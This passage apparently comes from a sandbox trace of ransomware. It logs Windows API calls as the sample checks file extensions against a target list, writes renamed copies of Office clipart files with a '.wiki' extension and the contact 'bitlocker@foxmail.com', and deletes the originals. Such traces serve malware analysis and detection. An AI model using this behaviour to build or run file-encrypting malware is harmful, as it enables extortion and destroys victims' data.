Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.823] lstrlenW (lpString=".doc") returned 4 [0188.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString=".docx") returned 5 [0188.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.823] lstrlenW (lpString=".pdf") returned 4 [0188.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString=".xls") returned 4 [0188.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.823] lstrlenW (lpString=".xlsx") returned 5 [0188.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.823] lstrlenW (lpString=".ppt") returned 4 [0188.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.823] lstrlenW (lpString=".zip") returned 4 [0188.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.823] lstrlenW (lpString=".rar") returned 4 [0188.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString=".bz2") returned 4 [0188.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString=".7z") returned 3 [0188.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.823] lstrlenW (lpString=".dbf") returned 4 [0188.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.823] lstrlenW (lpString=".1cd") returned 4 [0188.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.823] lstrlenW (lpString=".jpg") returned 4 [0188.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.824] lstrlenW (lpString=".doc") returned 4 [0188.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString=".docx") returned 5 [0188.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.824] lstrlenW (lpString=".pdf") returned 4 [0188.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString=".xls") returned 4 [0188.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.824] lstrlenW (lpString=".xlsx") returned 5 [0188.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.824] lstrlenW (lpString=".ppt") returned 4 [0188.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.824] lstrlenW (lpString=".zip") returned 4 [0188.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.824] lstrlenW (lpString=".rar") returned 4 [0188.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString=".bz2") returned 4 [0188.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString=".7z") returned 3 [0188.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.824] lstrlenW (lpString=".dbf") returned 4 [0188.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.824] lstrlenW (lpString=".1cd") returned 4 [0188.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.824] lstrlenW (lpString=".jpg") returned 4 [0188.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.825] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.825] lstrlenW (lpString="FD00543_.WMF") returned 12 [0188.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.825] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1472) returned 1 [0188.825] CloseHandle (hObject=0x1f8) returned 1 [0188.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0188.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.825] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.826] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.826] GetLastError () returned 0x0 [0188.826] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5c0, lpOverlapped=0x0) returned 1 [0188.827] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0188.828] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.828] SetEndOfFile (hFile=0x1f4) returned 1 [0188.829] CloseHandle (hObject=0x1f4) returned 1 [0188.829] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.829] SetEndOfFile (hFile=0x1f8) returned 1 [0188.829] CloseHandle (hObject=0x1f8) returned 1 [0188.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0188.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.830] lstrlenW (lpString=".doc") returned 4 [0188.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.830] lstrlenW (lpString=".docx") returned 5 [0188.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.830] lstrlenW (lpString=".pdf") returned 4 [0188.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.830] lstrlenW (lpString=".xls") returned 4 [0188.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.830] lstrlenW (lpString=".xlsx") returned 5 [0188.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.830] lstrlenW (lpString=".ppt") returned 4 [0188.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.830] lstrlenW (lpString=".zip") returned 4 [0188.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.830] lstrlenW (lpString=".rar") returned 4 [0188.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.830] lstrlenW (lpString=".bz2") returned 4 [0188.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.830] lstrlenW (lpString=".7z") returned 3 [0188.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString=".dbf") returned 4 [0188.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString=".1cd") returned 4 [0188.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString=".jpg") returned 4 [0188.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString=".doc") returned 4 [0188.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString=".docx") returned 5 [0188.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.831] lstrlenW (lpString=".pdf") returned 4 [0188.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString=".xls") returned 4 [0188.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.831] lstrlenW (lpString=".xlsx") returned 5 [0188.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.831] lstrlenW (lpString=".ppt") returned 4 [0188.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString=".zip") returned 4 [0188.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.831] lstrlenW (lpString=".rar") returned 4 [0188.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString=".bz2") returned 4 [0188.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.831] lstrlenW (lpString=".7z") returned 3 [0188.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.831] lstrlenW (lpString=".dbf") returned 4 [0188.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.832] lstrlenW (lpString=".1cd") returned 4 [0188.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0188.832] lstrlenW (lpString=".jpg") returned 4 [0188.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.832] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.832] lstrlenW (lpString="FD00544_.WMF") returned 12 [0188.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.832] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5260) returned 1 [0188.832] CloseHandle (hObject=0x1f8) returned 1 [0188.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0188.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.833] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.833] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.833] GetLastError () returned 0x0 [0188.833] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x148c, lpOverlapped=0x0) returned 1 [0188.835] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1490, lpOverlapped=0x0) returned 1 [0189.043] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.078] SetEndOfFile (hFile=0x1f4) returned 1 [0189.078] CloseHandle (hObject=0x1f4) returned 1 [0189.078] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.078] SetEndOfFile (hFile=0x1f8) returned 1 [0189.079] CloseHandle (hObject=0x1f8) returned 1 [0189.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0189.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.079] lstrlenW (lpString=".doc") returned 4 [0189.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.079] lstrlenW (lpString=".docx") returned 5 [0189.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.080] lstrlenW (lpString=".pdf") returned 4 [0189.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString=".xls") returned 4 [0189.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.080] lstrlenW (lpString=".xlsx") returned 5 [0189.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.080] lstrlenW (lpString=".ppt") returned 4 [0189.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.080] lstrlenW (lpString=".zip") returned 4 [0189.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.080] lstrlenW (lpString=".rar") returned 4 [0189.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString=".bz2") returned 4 [0189.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString=".7z") returned 3 [0189.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.080] lstrlenW (lpString=".dbf") returned 4 [0189.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.080] lstrlenW (lpString=".1cd") returned 4 [0189.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.080] lstrlenW (lpString=".jpg") returned 4 [0189.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.080] lstrlenW (lpString=".doc") returned 4 [0189.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.080] lstrlenW (lpString=".docx") returned 5 [0189.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.081] lstrlenW (lpString=".pdf") returned 4 [0189.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.081] lstrlenW (lpString=".xls") returned 4 [0189.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.081] lstrlenW (lpString=".xlsx") returned 5 [0189.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.081] lstrlenW (lpString=".ppt") returned 4 [0189.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.081] lstrlenW (lpString=".zip") returned 4 [0189.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.081] lstrlenW (lpString=".rar") returned 4 [0189.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.081] lstrlenW (lpString=".bz2") returned 4 [0189.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.081] lstrlenW (lpString=".7z") returned 3 [0189.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.081] lstrlenW (lpString=".dbf") returned 4 [0189.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.081] lstrlenW (lpString=".1cd") returned 4 [0189.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0189.081] lstrlenW (lpString=".jpg") returned 4 [0189.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.081] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.081] lstrlenW (lpString="FD01176_.WMF") returned 12 [0189.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.084] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4984) returned 1 [0189.084] CloseHandle (hObject=0x1f8) returned 1 [0189.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0189.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.084] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.084] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.085] GetLastError () returned 0x0 [0189.085] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1378, lpOverlapped=0x0) returned 1 [0189.111] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0189.112] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.112] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.112] SetEndOfFile (hFile=0x1f4) returned 1 [0189.112] CloseHandle (hObject=0x1f4) returned 1 [0189.112] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.112] SetEndOfFile (hFile=0x1f8) returned 1 [0189.113] CloseHandle (hObject=0x1f8) returned 1 [0189.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0189.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.113] lstrlenW (lpString=".doc") returned 4 [0189.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.113] lstrlenW (lpString=".docx") returned 5 [0189.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.113] lstrlenW (lpString=".pdf") returned 4 [0189.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.113] lstrlenW (lpString=".xls") returned 4 [0189.113] lstrcmpiW 